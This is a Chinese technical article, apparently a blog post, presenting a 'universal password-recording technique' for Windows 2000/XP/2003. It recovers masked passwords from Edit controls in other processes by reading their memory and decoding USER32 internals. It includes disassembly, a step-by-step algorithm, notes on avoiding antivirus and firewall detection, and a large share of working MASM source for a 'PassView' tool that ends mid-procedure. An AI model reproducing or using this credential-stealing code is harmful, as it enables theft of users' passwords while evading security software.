2009年9月9日
2007年8月8日
Edit控件密码窗口的秘密
----一种全新的通用密码记录技术
*目前的各类密码记录技术*
目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
一:调用CreateRemoteThread函数远程DLL或代码注入.
二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)
三:伪造登陆界面.
四:登录信息在网络传输过程中被嗅探.
五:分析目标程序流层,文件补丁技术(注一).
六:分析目标程序流层,搜索并读取存放在内存中(比如:全局变量)的密码.
由于后四个技术都要对目标程序进行专门的分析所以更多的用在专用游戏盗号程序中.这样目前通用的获取目标主机各类程序登录密码的技术还是紧紧局限于前两个.
*两大主流密码记录技术的局限性*
对于键盘记录技术由于用户可能会不按顺序输入密码所以正确率有限,要是安装键盘驱动还要Admin权限同时更难以区分用户是输密码还是其它输入(在驱动下可没有GetActiveWindow函数呵呵).
对于第一种技术前面所说的问题都不存在,并且用各种语言编写的源代码广为流传,所以水平高一点点的黑客都会使用,但也正因为这个远线程注入技术实在太流行,所以很多杀毒软件一但发现有程序调用了CreateRemoteThread这个API就会提示并拦截(比如江民公司的"木马一扫光").同样安装键盘钩子比如调用SetWindowsHookEx有些杀毒软件也会提示.
难道就没有通用性相对较好,记录正确率高,不容易被杀毒软件查杀的技术了吗?请看下文.
*目前的思路*
对于WINDOWS程序中的密码窗口通常是具有ES_PASSWORD风格的EDIT控件(通常输入内容显示为*号),在WINDOWS 98下要记录密码,只用给这种窗体发送一个WM_GETTEXT消息就可以了没有任何限制,在WIN2000以后的操作系统中,微软也意识到这样太不安全,所以限制为进程只可以给自已的具有ES_PASSWORD风格的EDIT控件窗口发送WM_GETTEXT消息并正确得到窗口内容(注二).这样也就很好理解为什么目前的两大主流技术要么是建一个远程线程,要么HOOK键盘了.现在的程序和WIN98时代很明显的区别就是都要多一个DLL.
(直接代码注入的可以不要DLL但还是会调用可能引起杀毒软件提示的API函数)
*新的思路*
在EDIT控件输入字符以后,这些字符当然是被记录在EDIT控件所在的进程可以仿问的内存中的.可不可以直接从内存中读取内容呢?
也就是写了一个自已的不受微软限制的GetWindowText函数,或是叫GetWindowPass函数.读内存可以调用OpenProcess和ReadProcessMemory
或是集成这两个函数的Toolhelp32ReadProcessMemory.怎么读的问题解决了,现在就是读哪个位置的问题.另外OpenProcess
不代写内存的参数一般杀毒软件不会提示(注三).
*读哪儿?*
解决这个问题首先我们还是看看微软是怎么读的吧.大家都知道要取得EDIT控件的内容可以发WM_GETTEXT消息或是调用USER32.DLL中
的GetWindowTextA函数.打开WIN32DASM和SOFTICE.一路跟踪后总算基本明白了其中的原理,重要代码反汇编如下:共有三部分
(USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)
第一部分:
GetWindowText函数执行后很快就会调用如下代码:重要的地方会有注解:)
:77D184D0 8BFF mov edi, edi
:77D184D2 55 push ebp
:77D184D3 8BEC mov ebp, esp
:77D184D5 51 push ecx
:77D184D6 53 push ebx
:77D184D7 56 push esi
:77D184D8 57 push edi
:77D184D9 8855FC mov byte ptr [ebp-04], dl
:77D184DC 8BF9 mov edi, ecx ;edi中为密码窗口句柄
:77D184DE 33F6 xor esi, esi
:77D184E0 64A118000000 mov eax, dword ptr fs:[00000018] ;得到当前线程的TEB
:77D184E6 8B0D6000D777 mov ecx, dword ptr [77D70060]
:77D184EC 8D98CC060000 lea ebx, dword ptr [eax+000006CC] ;当前线程TEB的基地址+6CCH放入EBX中
:77D184F2 8BC7 mov eax, edi
:77D184F4 25FFFF0000 and eax, 0000FFFF ;eax中为密码窗口句柄的低16位
:77D184F9 3B4108 cmp eax, dword ptr [ecx+08]
:77D184FC 734D jnb 77D1854B
:77D184FE 8B0D8400D777 mov ecx, dword ptr [77D70084] ;77D70084是USER32.DLL中的一个全局变量的地址,重要!
:77D18504 8D0440 lea eax, dword ptr [eax+2*eax]
:77D18507 8D0C81 lea ecx, dword ptr [ecx+4*eax] ;ecx为(密码窗口句柄低16位x12)+一个未知全局变量
--------------------------无关代码省略之-------------
:77D1852F 8B31 mov esi, dword ptr [ecx] ;ecx的值没变,取里面的值给esi
:77D18531 0F8471A40100 je 77D329A8
:77D18537 3B30 cmp esi, dword ptr [eax]
:77D18539 0F8269A40100 jb 77D329A8
:77D1853F 3B7004 cmp esi, dword ptr [eax+04]
:77D18542 0F8360A40100 jnb 77D329A8
:77D18548 2B731C sub esi, dword ptr [ebx+1C]
;刚才的值-RealClientID,EBX+1C接合上面的代码看就是当前线程TEB的基地址+6CCH+1CH,取得的值也就是当前线程的RealClientID
第二部分
经过一些跳转后会调用EditWndProc,其中的关键代码如下:
Exported fn(): EditWndProc - Ord:00C1h ;函数入口
:77D2C538 8BFF mov edi, edi
:77D2C53A 55 push ebp
:77D2C53B 8BEC mov ebp, esp
:77D2C53D 83EC1C sub esp, 0000001C
:77D2C540 8B550C mov edx, dword ptr [ebp+0C] ;如果EDX为0Dh说明是取得窗口的内容
:77D2C543 53 push ebx
:77D2C544 56 push esi
:77D2C545 57 push edi
:77D2C546 8B7D08 mov edi, dword ptr [ebp+08]
:77D2C549 8B07 mov eax, dword ptr [edi]
:77D2C54B 8BB7A4000000 mov esi, dword ptr [edi+000000A4] ;这儿的EDI和前面代码最后的ESI是同一个值,重要!
:77D2C551 33C9 xor ecx, ecx ;计算后ESI就是一个指向窗口内容结构的指针
:77D2C553 8945F4 mov dword ptr [ebp-0C], eax
:77D2C556 41 inc ecx
---------------------无关代码省略之---------------
:77D2C5B9 51 push ecx
:77D2C5BA FF7514 push [ebp+14]
:77D2C5BD FF7510 push [ebp+10]
:77D2C5C0 56 push esi
:77D2C5C1 E88E040000 call 77D2CA54 ;得到窗口内容
第三部分:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77D2C665(C)
|
:77D41496 837E0C00 cmp dword ptr [esi+0C], 00000000
:77D4149A 7427 je 77D414C3
:77D4149C 668B466A mov ax, word ptr [esi+6A]
:77D414A0 660FAF460C imul ax, word ptr [esi+0C] ;esi和上面的一样指向窗口结构,ESI+0C是取得密码长度
:77D414A5 668945FA mov word ptr [ebp-06], ax
:77D414A9 668945F8 mov word ptr [ebp-08], ax
:77D414AD 8D45F8 lea eax, dword ptr [ebp-08]
:77D414B0 50 push eax
:77D414B1 33C0 xor eax, eax
:77D414B3 8A86EC000000 mov al, byte ptr [esi+000000EC] ;ESI+EC解码密码的变量,总是一个字节
:77D414B9 897DFC mov dword ptr [ebp-04], edi
:77D414BC 50 push eax
* Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h
|
:77D414BD FF154410D177 Call dword ptr [77D11044] ;对该函数分析可知,esi+00存放编码后的密码的地址
*分析GetWindowTextA后的总结*
分析流层可知道GetWindowTextA函数要取得一个EDIT控件的内容要得到如下参数:
1.窗口句柄,线程,进程ID,2.窗口所在的线程的TEB(线程环境块),3.窗口所在的进程加载的USER32.DLL中的一个未知的全局变量.
我们的进程可不可以获得这三个参数呢?
对于句柄可以使用的函数有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到进程,线程ID调用GetWindowThreadProcessId
对于窗口所在的线程的TEB,我查阅NATIVE API手册后找到了ZwQueryInformationThread,当然先要调用OpenThread得到线程句柄
对于第三个参数,它的值一般总是为00XX0000,它其实就是进程的GUI TABLE在R3层的映射的基地址.GUI TABLE也就是用户对象句柄表,
它里面的值简单的说就是一些指向窗体信息结构的指针.
*获得GUI TABLE在R3成层的映射基地址*
我的系统中,记录这个地址的变量的地址是77D70084,在SOFTICE中对这个地址下BPM写断点,发现每个进程加载USER32.DLL的时候一般是要
调用这个DLL中的UserClientDllInitialize,在这个函数的如下代码处
:77D21020 8DB5A0FAFFFF lea esi, dword ptr [ebp+FFFFFAA0]
:77D21026 BF8000D777 mov edi, 77D70080 ;注意不是77D70084
:77D2102B F3 repz
:77D2102C A5 movsd
会对这个变量赋初值.然后打开W32DASM,查找77d70084和77d70080,结果发现了一个UNDOCUMENT API:UserRegisterWowHandlers!
分析这个函数的最后面的代码可以看出这个函数的返回值就是记录GUI TABLE在R3成层的映射基地址的变量的地址-4.代码如下:
:77D535F5 B88000D777 mov eax, 77D70080
:77D535FA 5D pop ebp
:77D535FB C20800 ret 0008
到此理论上要实现直接内存读取密码应该没有问题了,下面看看具体的算法是什么:)
*把密码算出来*
第一步:
取窗口句柄的低16位然后乘以12,我们设结果为HwndIndex
第二步:
得到GUI TABLE在R3成层的映射基地址,我们设这个地址为GuiTableBase
第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1
第四步:
TEB基地址+6cch+1ch,取里面的值,得到RealClientID
第五步:
PHwndStruct1-RealClientID得到PHwndStruct2
第六步:
PHwndStruct2+A4H,取里面的值得到真正的记录窗体信息的结构的地址设结果为PRealWinStruct
第七步:
PRealWinStruct+00h里面的值是编码后的密码的地址
PRealWinStruct+0ch里面值是密码长度我们叫PASSLEN
PRealWinStruct+ech里面值是解码要用到的一个变量我们叫ENCODE.
第八步:
解码算法,通过对RtlRunDecodeUnicodeString分析后解码算法如下:
MOV EDX,ENCODE
mov cl,dl
mov edi,PASSLEN
@@nextpass:
CMP EDI,1
JBE @@firstpass
mov eax,esi ;esi指向编码后的密码的第一个字节.
add eax,edi
mov dl,[eax-2]
xor dl,[eax-1]
xor dl,cl ;重要
mov [eax-1],dl
dec edi
jmp @@nextpass
@@firstpass:
or cl,43h
mov edx,offset buffer1
xor [edx],cl
注意通过对多个2K,XP,2003系统的分析前面五步以及八步始终没有变化,第六步WIN2000是+98h
2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch
*具体编码*
为了证明思路的正确性,专门写了一个WINDOWS2K/XP/2003下看星号密码的小程序,当然完全不用远程注入线程了.
下面把关键实现代码分析一下:
第一步:得到密码密窗口句柄:
invoke GetCursorPos,addr @stPoint ;得到当前光标位置
invoke WindowFromPoint,@stPoint.x,@stPoint.y ;得到光标下窗口的句柄
mov @hWindow,eax
.if eax != NULL
invoke GetWindowLong,@hWindow,GWL_STYLE ;得到窗口风格
.if (eax & ES_PASSWORD) ;是密码框吗?
invoke GetClassName,@hWindow,offset classname,64 ;如果是得到控件类名
invoke lstrcmpi,offset classname,offset editname
.if eax == 0 ;如果类名是Edit,那么调用ViewPass函数读密码
mov eax,@hWindow
mov WINHAND,eax
invoke ViewPass
.endif
.endif
.endif
第二步:判断系统:
LOCAL verinfo:OSVERSIONINFO
mov verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
invoke GetVersionEx,addr verinfo
.if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
mov eax,1 ;xp
mov passoffset,0A4H
mov lenoffset ,14H
.......
程序只取WIN2000/XP/2003系统的密码,同时根据不同的系统设置偏移.经过测试
同一种系统偏移没有变化,所以通用性应该很好.
第三步:得到密码窗口的线程和进程ID
invoke GetWindowThreadProcessId,eBx,addr parid
MOV WINTHREADID,EAX ;返回值为线程ID
第一个参数为窗口句柄,第二个参数为得到进程ID
第四步:根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址
invoke GetUser32Base,parid
返回值就是基地址:)
GetUser32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一个参数表示例举模块
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo ;结果放在modinfo结构中,modBaseAddr成员记录
.while eax ;相应模块加载的基地址
lea ecx,modinfo.szModule
invoke lstrcmpi,offset user32dll,ecx ;比较模块名是否为user32.dll
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetUser32Base endp
第五步:
根据窗口所在的线程得到该线程的TEB地址
invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;线程ID
.if eax != NULL
mov THREADHAND,EAX
invoke LoadLibrary,offset Ntdll
invoke GetProcAddress,eax,offset _ZwQueryInformationThread ;调用NAVITE API
mov apiquerthread,eax
push 0
push sizeof THREAD_BASIC_INFORMATION
lea ecx,threadinfo
push ecx
push ThreadBasicInformation
push THREADHAND
call apiquerthread
.IF EAX == STATUS_SUCCESS
lea ecx,threadinfo
mov esi,[ecx+4] ;得到TEB了,通常为7FFDX000
.ELSE
invoke MessageBox,0,offset errgetteb,offset vp,1
ret
.ENDIF
.else
invoke MessageBox,0,offset erropenthread,offset vp,1
ret
.endif
第六步:得到TEB中的RealClientID,注意这儿是读目标程序的内存,不是自已的了.
add esi,6cch ;看第五步,ESI中为目标线程的TEB基地址,如果是程序自已获得自已的TEB
add esi,1ch ;只用MOV EAX,FS:[18]就行了,也就是文章中间反汇编看到的那样.
invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
;第一个参数为密码所在窗口进程PID,第二个是读的起始地址,第三个是放在哪儿,第四是读长度,第五实际读取
.if eax == TRUE ;为真说明读成功
mov eax,offset buffer1
mov eax,[eax]
mov edi,eax
.if eax ==NULL
invoke MessageBox,0,offset errnorealcid,offset vp,1
ret
.endif
.endif
第七步:得到目标进程R3层的GUI TABLE基地址
这一步应该是这个程序最关键的部分,希望大家认真阅读.先介绍一下我的思路:
我们已经知道这个基地址存放在目标程序加载的USER32.DLL的全局变量中.并且这个DLL中的UserRegisterWowHandlers
函数的返回值就是这个全局变量的地址.
首先想到的办法是直接调用这个函数,但是通过对这个函数的反汇编分析后发现该函数的参数难以正确构造特别是
在WIN2003系统下该函数会比较严格的检查参数,所以就放弃了直接调用该函数得到基地址的办法.
通过对不同系统的这个函数反汇编我们可以很容易的找到共同点:
2K系统:(5.0.2195.7032)
:77E3565D B880D2E477 mov eax, 77E4D280
:77E35662 C20800 ret 0008
XP系统:(5.1.2600.2180)
:77D535F5 B88000D777 mov eax, 77D70080
:77D535FA 5D pop ebp
:77D535FB C20800 ret 0008
2003系统:(5.2.3790.1830)
:77E514D9 B8C024E777 mov eax, 77E724C0
:77E514DE C9 leave
:77E514DF C2080000 ret 0008
分析共同点以后,我们就可以写出相应的算法.我的算法是:
1.得到我的进程自身的USER32.DLL的基地址,我们设为user32base(其实也就是LoadLibrary加载这个DLL的返回值)
2.调用GetProcAddress得到UserRegisterWowHandlers的入口地址.
3.从入口地址处读1000个字节(这个函数功能其实很简单1000个字节足够了)
4.在这1000个字节中,我使用了LDE32库的汇编指令长度判断函数(注四).给出指令的首地址可以准确的计算出指令的长度.
这样我先找长度为3的指令,同时指令内容要为C20800(UserRegisterWowHandlers只有两个参数所以用这种方法找这个指令正确率应该很高)
在查找的过程中我用一个局部变量记录每一个指令的长度.在找到C20800后我再倒过去找指令长度为5,同时指令的第一个字节为B8
(也就是mov eax,xxxxxxxx指令)
5.在找到mov eax,xxxxxxxx指令后,取这个地址往后4个字节的值,这个值(我们设为varaddr)通常就是记录GUI TABLE基地址变量的地址
6.分析USER32.DLL的PE文件结构,找出这个DLL的全局变量的起始地址(也就是.data段的虚拟偏移(VirtualAddress)+USER32.DLL的加载基地址).
7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是这个变量在USER32.DLL的全局变量中的相对偏移,我们记为VarOffset,
如果这个值>0,同时小于.data段的VirtualSize那么说明成功.如果不成功我们再跳到第5步再从后往前重新找mov eax,xxxxxxxx指令.
8.通过前面第四步(根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址)+VirtualAddress+VarOffset我们就得到了目标
进程中这个变量的地址,最后再调用Toolhelp32ReadProcessMemory,就可以读出GUI TABLE的基地址了.
(注:由于不能找到直接调用UserRegisterWowHandlers的办法,所以第七步从原理上看并不能保证有100%的成功率,但通过我对多个不同系统
不同版本的测试,目前的这个算法都还是通用)
第八步:最后其实就是把*把密码算出来*这一节的算法实现就0K了.不过要注意的是密码可能是Unicode格式的.
*最后的总结*
所有的分析和技术细节都在上面了,这篇文章要用到PE文件格式,NAVITE API,反汇编等知识如有不懂可以参考网上的相关的资料.
注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.
注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.
注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦.
注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载.
该库文件编译后只有600多个字节.
注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.
附:
1.看星号程序源代码
2.一个简单的密码框程序
3.测试系统的USER32.DLL
内存读取获得密码(原创)
; #--------------------------------------# #
; # PassView # #
; # # #
; # #
; # 2007.1.1 #
; # codz: czy # #
; #------------------------------------------# #
;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\gdi32.lib
CLIENT_ID STRUCT ; sizeof = 8
UniqueProcess HANDLE ?
UniqueThread HANDLE ?
CLIENT_ID ENDS
THREAD_BASIC_INFORMATION STRUCT ; sizeof = 1ch
ExitStatus DWORD ?
TebBaseAddress PVOID ? ; PTEB
ClientId CLIENT_ID <> ; 8h
AffinityMask DWORD ? ;
Priority DWORD ?
BasePriority DWORD ?
THREAD_BASIC_INFORMATION ENDS
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
ViewPass proto
_ProcessPeFile proto :dword
GetUnknowVarOffset proto
GetUser32Base proto :dword
CheckOS proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
STATUS_SUCCESS equ 0
ThreadBasicInformation equ 0
DLG_MAIN equ 1000
ID_PWD equ 1001
IDB_1 equ 1
IDC_BMP equ 108
RGB MACRO red, green, blue
xor eax, eax
mov al, blue ; blue
rol eax, 8
mov al, green ; green
rol eax, 8
mov al, red ; red
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hWinMain dd ?
vp db 'viewpass 0.1 codz czy',0
PASSLEN DD ?
ENCODE DD ?
WINTHREADID DD ?
WINHAND DD 0
unknownvar DD ?
VirtualAddress dd ?
VirtualSize dd ?
VarOffset dd ?
modbase dd ?
lenoffset dd ?
passoffset dd ?
Tahoma db 'Tahoma',0
editname db 'EdIt',0
Richeditname db 'RichEdit20W',0
dataname db '.data ',0
erros db '不是吧,还在用WIN9X/NT4',0
nowin db '找不到主窗体',0
nowin2 db '找不到子窗体中的密码窗口',0
errnowow db '不能找到UserRegisterWowHandlers函数地址',0
errnocode db '不能找到UserRegisterWowHandlers函数中相匹配的机器码',0
erropenthread db '不能打开线程',0
errgetteb db '打开线程但不能得到TEB',0
errnorealcid db '不能得到TEB中的RealClientID',0
errnounknowvar db '不能从user32.dll中找到未知变量',0
passerr db '密码太长或为空',0
tebformat db 'TEB %x',0
varformat db 'user32.dll gSharedInfo addr:%x',0
varformat2 db 'GUI TABLE in user modle addr:%08x',0
realcidformat db 'real cid:%x',0
Wndformat db 'pass window hand:%x,win thread id:%x',0
wndcontformat db 'win struct:%x',0
passaddrformat db 'pass addr:%x',0
passlenformat db 'pass len:%d',0
passformat db 'pass decode is:%x',0
user32dll db 'user32.dll',0
Ntdll db "NTDLL.DLL",0
_UserRegisterWowHandlers db "UserRegisterWowHandlers",0
_ZwQueryInformationThread db "ZwQueryInformationThread",0
THREADHAND DD 0
apiquerthread dd ?
Pthreadinfo dd ?
.data?
hInstance dd ?
szBuffer db 256 dup (?)
buffervar db 32 dup (?)
buffervar2 db 32 dup (?)
bufferteb db 32 dup (?)
bufferPassWnd db 32 dup (?)
bufferrealcid db 32 dup (?)
bufferwndcont db 32 dup (?)
bufferpassaddr db 32 dup (?)
bufferpasslen db 32 dup (?)
bufferpass1 db 128 dup (?)
bufferuni db 256 dup (?)
classname db 128 dup (?)
buffer1 db 128 dup (?)
buffercode db 1024 dup (?)
.code
;********************************************************************
ViewPass proc
LOCAL parid:dword
LOCAL threadinfo:THREAD_BASIC_INFORMATION
;invoke MessageBox,0,offset vp,offset vp,1
;--------------判断操作系统
invoke CheckOS
.if eax == 0
ret
.endif
;---------------得到密码窗口句柄,以及线程句柄,进程句柄
MOV EBX,WINHAND
.if EBX!=NULL
invoke GetWindowThreadProcessId,eBx,addr parid
MOV WINTHREADID,EAX
;invoke wsprintf,offset bufferPassWnd,offset Wndformat,ebx,eax
;invoke MessageBox,0,offset bufferPassWnd,offset vp,1
.else
invoke MessageBox,0,offset nowin2,offset vp,1
ret
.endif
;-------------根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址
invoke GetUser32Base,parid
mov modbase,eax
;--------------根据窗口所在的线程得到该线程的TEB地址
invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
.if eax != NULL
mov THREADHAND,EAX
invoke LoadLibrary,offset Ntdll
invoke GetProcAddress,eax,offset _ZwQueryInformationThread
mov apiquerthread,eax
push 0
push sizeof THREAD_BASIC_INFORMATION
lea ecx,threadinfo
push ecx
push ThreadBasicInformation
push THREADHAND
call apiquerthread
.IF EAX == STATUS_SUCCESS
lea ecx,threadinfo
mov esi,[ecx+4] ;得到TEB了
.ELSE
invoke MessageBox,0,offset errgetteb,offset vp,1
ret
.ENDIF
.else
invoke MessageBox,0,offset erropenthread,offset vp,1
ret
.endif
;invoke wsprintf,offset bufferteb,offset tebformat,esi
;invoke MessageBox,0,offset bufferteb,offset vp,1
;-------------------------得到TEB中的RealClientID
add esi,6cch
add esi,1ch
invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
.if eax == TRUE
mov eax,offset buffer1
mov eax,[eax]
mov edi,eax
.if eax !=NULL
;invoke wsprintf,offset bufferrealcid,offset realcidformat,eax
;invoke MessageBox,0,offset bufferrealcid,offset vp,1
.else
invoke MessageBox,0,offset errnorealcid,offset vp,1
ret
.endif
.endif
;密码窗口句柄取低16位
xor eax,eax
mov ebx,WINHAND
mov ax,bx
add ax,ax
add ax,bx ;3
add ax,ax ;6
add ax,ax ;12
mov ebx,eax
pushad
invoke GetUnknowVarOffset
.if eax !=NULL
mov eax,VarOffset
add eax,modbase
add eax,VirtualAddress
;invoke wsprintf,offset buffervar,offset varformat,eax
;invoke MessageBox,0,offset buffervar,offset vp,1
.else
invoke MessageBox,0,offset errnounknowvar,offset vp,1
ret
.endif
popad
mov ecx,VarOffset
add ecx,modbase
add ecx,VirtualAddress
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
;push ecx
;invoke wsprintf,offset buffervar2,offset varformat2,ecx
;invoke MessageBox,0,offset buffervar2,offset vp,1
;pop ecx
.endif
add ebx,ecx ;窗口句柄低16位*12+GUI TABLE BASE
invoke Toolhelp32ReadProcessMemory,parid,ebx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
.endif
sub ecx,edi ;减REALCLIENTID
mov esi,ecx
;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi
;invoke MessageBox,0,offset bufferwndcont,offset vp,1
add esi,passoffset
invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov esi,[ecx]
.endif
;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi
;invoke MessageBox,0,offset bufferpassaddr,offset vp,1
;得到密码长度
mov ecx,esi
add ecx,lenoffset
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
mov PASSLEN,ecx
.endif
.if ecx>0 && ecx <32
;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx
;invoke MessageBox,0,offset bufferpasslen,offset vp,1
.else
invoke MessageBox,0,offset passerr,offset vp,1
ret
.endif
;得到加密密码的变量
mov ecx,esi
add ecx,0ECh
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
MOV ECX,[ECX]
xor edx,edx
movzx edx,cl
mov ENCODE,EDX
.endif
;invoke wsprintf,offset bufferpass1,offset passformat,edx
;invoke MessageBox,0,offset bufferpass1,offset vp,1
;得到解密后的密码
mov ecx,esi
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
.endif
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
.if eax == TRUE
mov ecx,offset buffer1
mov ecx,[ecx]
.endif
mov ebx,ecx
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL
.if eax == TRUE
mov esi,offset buffer1
.endif
MOV EDX,ENCODE
mov cl,dl
mov edi,PASSLEN
@@nextpass:
CMP EDI,1
JBE @@firstpass
mov eax,esi
add eax,edi
mov dl,[eax-2]
xor dl,[eax-1]
xor dl,cl ;重要
mov [eax-1],dl
dec edi
jmp @@nextpass
@@firstpass:
or cl,43h ;WHY?
mov edx,offset buffer1
xor [edx],cl
;密码可能是UNICODE的
invoke lstrlenA,edx
.if eax<PASSLEN ;密码是UNICODE
mov edx,PASSLEN
add edx,edx
mov ecx,ebx
invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL
.if eax == TRUE
mov esi,offset buffer1
.endif
mov edi,PASSLEN
add edi,edi
MOV EDX,ENCODE
mov cl,dl
@@nextpass2:
CMP EDI,1
JBE @@firstpass2
mov eax,esi
add eax,edi
mov dl,[eax-2]
xor dl,[eax-1]
xor dl,cl ;重要
mov [eax-1],dl
dec edi
jmp @@nextpass2
@@firstpass2:
or cl,43h
mov edx,offset buffer1
xor [edx],cl
;invoke MessageBoxW,0,edx,edx,1
invoke SetDlgItemTextW,hWinMain,ID_PWD,edx
.else
mov ecx,offset buffer1
add ecx,PASSLEN
xor eax,eax
MOV [ECX],eax
invoke SetDlgItemTextA,hWinMain,ID_PWD,offset buffer1
invoke RtlZeroMemory,offset buffer1,128
.endif
ret
ViewPass endp
comment %
GetUnknowVarOffset proc uses esi edi ebx
LOCAL user32base:dword
LOCAL varaddr:dword
invoke LoadLibrary,offset user32dll
mov user32base,eax
invoke _ProcessPeFile,user32base ;返回user32.dll的.data段的虚拟偏移
invoke GetProcAddress,user32base,offset _UserRegisterWowHandlers
.if eax!=NULL
invoke RtlMoveMemory,offset buffercode,eax,1000
mov esi,offset buffercode
xor ebx,ebx
@@nextcode:
mov ax,word ptr [esi]
.if ax==08C2h
add esi,2
mov al,byte ptr[esi]
sub esi,2
.if al==00h
;--找到ret 08(C20800)后,倒过去找mov eax,xxxxxxxx (B8 xxxxxxxx)
sub esi,5
sub ebx,5
@@nextcode2:
mov al,byte ptr [esi]
.if al==0B8h
inc esi
mov eax,dword ptr [esi]
dec esi
mov varaddr,eax
.else
@@nextb8:
dec esi
dec ebx
.if ebx>1
jmp @@nextcode2
.else ;找不到mov eax,xxxxxxxx
invoke MessageBox,0,offset errnocode,offset vp,1
xor eax,eax
ret
.endif
.endif
.else
jmp @@findother
.endif
.else
@@findother:
inc ebx
inc esi
.if ebx<1000d
jmp @@nextcode
.else ;找不到ret 08指令
invoke MessageBox,0,offset errnocode,offset vp,1
xor eax,eax
ret
.endif
.endif
.else ;找不到函数
invoke MessageBox,0,offset errnowow,offset vp,1
xor eax,eax
ret
.endif
;正常情况varaddr为USER32.DLL全局变量中记录当前线程GUI TABLE R3层地址的变量的地址
mov ecx,user32base
add ecx,VirtualAddress ;得到内存中user32.dll的全局变量的起始地址
mov eax,varaddr
sub eax,ecx ;变量的地址减全局变量起始地址
.if eax>0 && eax<VirtualSize ;变量的偏移大于0,小于变局变量总大小
add eax,4
mov VarOffset,eax
.else
jmp @@nextb8
.endif
ret
